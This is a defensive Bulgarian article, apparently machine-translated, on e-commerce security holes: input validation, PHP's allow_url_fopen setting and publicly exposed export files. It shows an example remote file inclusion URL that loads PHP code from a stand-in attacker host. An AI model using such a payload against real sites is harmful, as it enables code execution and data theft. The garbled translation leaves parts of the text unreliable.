E-Commerce Сигурност - пропуските на дупки в сигурността

Сигурност в един сайт за електронна търговия трябва да бъде голямо внимание при развитието на електронната търговия уеб сайт или софтуер. Строителна фирма трябва да бъде наясно с всички съображения за сигурност при разработването на сайта. По електронна търговия става все по-често срещано в наши дни, броят на сигурността атаки със сигурност се увеличава. Параноята е нещо здравословно за електронна търговия фирми сайт, ние трябва да водят до портата с въпросите на сигурността, и да ни ушите и очите отворени. Въпреки че след пропуските са сериозни, следните вратички, ако присъстват, са лесно фиксиран.

Изброените по-долу са някои съображения за сигурност да бъдат включени при разработването на даден сайт. Тази статия не се отнася до д-shoplifting, моля, вижте ми отделна статия по този въпрос.

Потребителски вход - на всеки вход, независимо дали това се навлиза в количество, търсене на даден продукт, въвеждане на име и т.н., трябва да бъдат валидирани за подозрителни знаци. Ако това не бъде направено, е възможно да влезе "?>", крайната тагове края на PHP и изпълни някои PHP код.

Това е много по-безопасна позволи числа и символи Az (столици са включени) и 0-9 и нищо друго, вместо да се направи списък на всички характер, че не трябва да бъде там. Утвърждаването скрипт трябва да преминете през всеки от героите един по един. Това трябва да се извършва чрез проверка в сървъра страна, не Javascript. Използване на сървър утвърждаване страна вход е от съществено значение за предпазване от нежелана символи

Съществува още една важна при изпълнение на PHP код. При използване на PHP е създаването наречен allow_url_fopen, който позволява отварянето на файлове от скрипт PHP. Тази настройка трябва да бъде изключен, освен ако не е абсолютно необходимо.

Само си представете имате PHP скриптове за двете фиксирани колонтитули, както и за достъп до уеб страниците трябва да въведете в http://www.mysite.com/index.php?page=page2. Достатъчно е злонамерен потребител да тече по сценарий на изменение на тези параметри, като въведете в "http:// www.mysite.com/index.php?page=http://www.evilhack.com/hacker.txt" с някои PHP код във файла "hacker.txt". Можеше да се случи нещо, PHP файлове чете, изтрити, жизненоважна информация откраднати.

Ако не сте сигурни дали тази настройка е включена или не, моля копирайте следния код PHP в текстов файл и да го качите на вашия уеб сървър:

phpinfo ();
?>

Когато получите достъп до скрипта на вашия уеб сървър, трябва да се намира на създаването allow_url_fopen по конфигурация.

А компютърен потребител, при нормални обстоятелства не може да намери стойността на тази настройка.

Бъдете внимателни на изнесените данни, като поръчки, продукти в MySQL и CSV файлове. Ако тези данни са изнесени от сценария и се съхраняват на уеб сървъра под обща, т.е. името на файла. http://www.mysite.com/admin/output_tables.csv. Това е наистина само един проблем, когато изнасят данни пребивава в даден файл в директорията, която е публично достъпна. Има два начина да се предотврати тази вратичка за сигурност - Първо трябва изходния файл зад защитени с парола директория, от друга страна има данни, разположени в текстовото поле елемент на HTML формата на скрипт. В storeowner може след това да копирате тази информация от textfile и да създадете нов файл на компютъра си и поставете информацията тук.

Достатъчно е един хакер да намерите това име на файл като проверите за електронна търговия демо сайт софтуер и гледам за същото име на файл на сайта за недвижими.

Rate Article

Related Videos
Play Video How to Strengthen Network Security with Cisco Network Manager	Play Video Understanding your Home Network Router #5 - Secure Your Network with WPA2	Play Video Learn About Secure Computing	Възпроизвеждане на видео Как да поддържате компютъра си охраняем	Възпроизвеждане на видео Как да Проверете настройките за защита в Windows Vista

Изброените по-долу са по-предмети, свързани с по-горе статия от "Електронна търговия" Член категория.

Хората се интересуват от по-горе статия "E-Commerce Сигурност - пропуските на дупки в сигурността" са също се интересуват от подобни изделия, изброени по-долу: